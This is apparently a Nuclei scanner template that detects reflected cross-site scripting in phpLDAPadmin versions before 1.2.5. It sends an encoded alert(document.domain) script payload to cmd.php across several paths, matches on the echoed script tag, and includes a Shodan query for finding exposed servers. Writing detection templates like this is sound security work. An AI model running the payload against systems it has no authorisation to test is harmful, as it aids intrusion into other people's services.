48 lines
1.1 KiB
YAML
48 lines
1.1 KiB
YAML
id: phpldapadmin-xss
|
|
|
|
info:
|
|
name: PHP LDAP Admin < 1.2.5 - Cross-Site Scripting
|
|
author: GodfatherOrwa,herry
|
|
severity: medium
|
|
reference:
|
|
- https://twitter.com/GodfatherOrwa/status/1701392754251563477
|
|
metadata:
|
|
max-request: 9
|
|
shodan-query: html:"phpLDAPadmin"
|
|
verified: true
|
|
tags: php,phpldapadmin,xss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}"
|
|
- "{{BaseURL}}{{path}}/cmd.php?cmd=template_engine&dn=%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&meth=ajax&server_id=1"
|
|
- "{{BaseURL}}{{path}}/index.php?redirect=true&meth=ajax"
|
|
|
|
attack: pitchfork
|
|
payloads:
|
|
path:
|
|
- /
|
|
- /htdocs/index.php
|
|
- /phpldapadmin
|
|
|
|
stop-at-first-match: true
|
|
cookie-reuse: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "<script>alert(document.domain)</script>"
|
|
- "No such entry"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|